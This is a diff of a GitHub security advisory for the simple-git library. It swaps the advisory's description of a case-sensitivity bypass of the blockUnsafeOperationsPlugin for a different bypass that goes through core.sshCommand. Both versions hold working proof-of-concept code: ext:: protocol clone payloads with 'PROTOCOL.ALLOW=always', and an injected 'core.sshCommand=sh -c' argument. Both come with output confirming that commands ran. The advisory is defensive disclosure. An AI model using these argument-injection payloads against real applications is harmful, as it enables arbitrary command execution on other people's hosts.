diff --git a/advisories/github-reviewed/2026/03/GHSA-r275-fr43-pm7q/GHSA-r275-fr43-pm7q.json b/advisories/github-reviewed/2026/03/GHSA-r275-fr43-pm7q/GHSA-r275-fr43-pm7q.json index 6dd7ac64e5ddf..df5f54cf9b4c7 100644 --- a/advisories/github-reviewed/2026/03/GHSA-r275-fr43-pm7q/GHSA-r275-fr43-pm7q.json +++ b/advisories/github-reviewed/2026/03/GHSA-r275-fr43-pm7q/GHSA-r275-fr43-pm7q.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-r275-fr43-pm7q", - "modified": "2026-03-10T18:38:56Z", + "modified": "2026-03-10T18:38:58Z", "published": "2026-03-10T18:38:56Z", "aliases": [ "CVE-2026-28292" ], "summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE", - "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git >= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [\n '-c', 'protocol.ext.allow=always', // lowercase — caught by regex\n]).catch((e) => {\n console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [\n '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex\n]).catch((e) => {\n console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n// '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';\n\nsimpleGit().clone(\n attackerURL, // should have been LEGITIMATE_URL\n CLONE_DEST,\n userArgs\n).catch(() => {\n console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n at .../simple-git/dist/cjs/index.js:1266:40\n at Array.forEach ()\n at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n task: {\n commands: [\n 'clone',\n '-c',\n 'protocol.ext.allow=always',\n 'ext::sh -c touch% /tmp/pwn-original% >&2',\n '/tmp/example-new-repo'\n ],\n format: 'utf-8',\n parser: [Function: parser]\n },\n plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n task: {\n commands: [\n 'clone',\n '-c',\n 'PROTOCOL.ALLOW=always',\n 'ext::sh -c touch% /tmp/pwn-codeant% >&2',\n '/tmp/example-new-repo-2'\n ],\n format: 'utf-8',\n parser: [Function: parser]\n }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always` | ✅ blocked | ✅ |\n| `PROTOCOL.ALLOW=always` | ❌ bypassed | ✅ |\n| `Protocol.Allow=always` | ❌ bypassed | ✅ |\n| `PROTOCOL.allow=always` | ❌ bypassed | ✅ |\n| `protocol.ALLOW=always` | ❌ bypassed | ✅ |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.", + "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` can be bypassed to achieve arbitrary command execution. The plugin was introduced to mitigate CVE-2022-25860 and blocks `-c protocol.*.allow` overrides and `--upload-pack`/`--receive-pack` arguments. However, it does not block other git config options that lead to command execution, including `core.sshCommand`, `core.gitProxy`, `core.hooksPath`, and `diff.external`.\n\nAn attacker who controls arguments passed to `clone()`, `raw()`, or the `config` constructor option can inject `-c core.sshCommand=` to execute arbitrary commands when git encounters an SSH URL.\n\n### Details\n\nThe `blockUnsafeOperationsPlugin` intercepts git commands and validates `-c` arguments against the pattern `/^\\s*protocol(.[a-z]+)?.allow/i`. This only matches `protocol.*.allow` — any other `-c` option passes through unchecked.\n\nGit supports several config options that directly invoke external commands:\n\n| Config option | Effect |\n|---------------|--------|\n| `core.sshCommand` | Command used for SSH transport |\n| `core.gitProxy` | Proxy command for `git://` transport |\n| `core.hooksPath` | Directory containing hook scripts |\n| `diff.external` | External diff command |\n\nNone of these are blocked by the plugin.\n\n### PoC\n\nA clone service reads a JSON job config and passes it to simple-git:\n\n```javascript\nconst simpleGit = require('simple-git');\nconst job = JSON.parse(fs.readFileSync('job.json', 'utf8'));\nsimpleGit().clone(job.repo, job.dir, job.args || []);\n```\n\nAttacker-controlled `job.json`:\n```json\n{\n \"repo\": \"git@target-host:company/app.git\",\n \"dir\": \"/tmp/cloned\",\n \"args\": [\"-c\", \"core.sshCommand=sh -c 'id > pwned'\"]\n}\n```\n\nResult:\n```\n$ node clone_service.js\nCloning into /tmp/cloned ...\nClone failed: Cloning into '/tmp/cloned'...\n\n$ cat pwned\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\n```\n\nThe clone fails (no SSH access), but `core.sshCommand` has already executed the payload.\n\n### Impact\n\nThis is the fifth vulnerability in the same argument injection attack surface:\n\n| CVE | Vector | Fix |\n|-----|--------|-----|\n| CVE-2022-24433 | `--upload-pack` in `fetch()` | Block `--upload-pack` |\n| CVE-2022-24066 | `--upload-pack` in `clone()` | Extend block |\n| CVE-2022-25912 | `ext::` protocol in clone URL | Block `ext::` URLs |\n| CVE-2022-25860 | `-c protocol.ext.allow` | Add blocklist plugin |\n| **This finding** | `-c core.sshCommand` | *Not fixed* |\n\nThe blocklist approach is fundamentally insufficient. The recommended fix is to use an allowlist for `-c` options or to strip all `-c` arguments not on an explicit safe list.\n", "severity": [ { "type": "CVSS_V3",